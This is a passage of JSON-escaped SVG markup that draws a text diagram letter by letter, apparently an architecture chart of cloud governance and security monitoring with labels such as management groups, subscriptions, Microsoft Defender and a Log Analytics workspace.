348.000000,250.399994 348.000000,261.600006' fill='currentColor' transform='rotate(90.000000, 344.000000, 256.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 464,0 A 16,16 0 0,1 480,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 408,640 A 16,16 0 0,1 424,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='32' y='228' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='244' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='228' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='228' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='292' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='164' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='340' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='436' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='660' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='292' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='340' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='660' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='340' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='436' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='532' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='660' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='292' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='340' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='436' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='532' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='660' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='340' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='436' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='532' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='660' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='292' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='340' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='436' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='340' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='436' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='532' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='660' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='340' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='436' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='532' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='660' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='340' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='532' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='660' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='292' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='532' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='660' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='20' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='292' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='340' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='436' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='532' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='660' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='532' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='660' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='340' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='532' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='660' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='436' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='532' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='68' fill='currentColor' style='font-size:1em'\u003eZ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='292' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='340' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='388' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='436' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='484' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='532' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='596' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='612' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='660' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='340' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='436' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='484' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='596' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='612' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='660' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='292' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='340' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='388' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='436' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='484' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='532' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='596' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='612' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='660' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='292' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='340' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='388' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='436' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='484' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='532' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='596' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='612' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='660' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='340' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='388' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='436' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='532' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='596' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='612' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='660' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='292' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='484' fill='currentColor' style='font-size:1em'\u003eQ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='532' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='596' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='612' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='660' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='68' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='292' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='340' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='388' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='436' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='484' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='532' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='596' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='612' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='660' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='292' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='340' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='388' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='436' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='484' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='532' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='596' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='612' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='660' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='292' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='340' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='436' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='484' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='532' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='612' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='164' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='292' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='340' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='388' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='436' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='484' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='532' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='596' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='660' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='164' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='292' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='388' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='532' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='596' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='612' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='660' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='292' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='388' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='612' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='660' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='164' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='228' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='244' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='612' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='660' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='228' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='292' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='388' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='612' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='660' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='244' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='292' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='612' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='660' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='292' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='388' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='612' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='660' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='228' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='244' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='292' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='388' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='612' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='660' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='228' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='292' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='388' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='612' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='660' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='244' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='292' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='612' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='660' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='228' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='292' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext 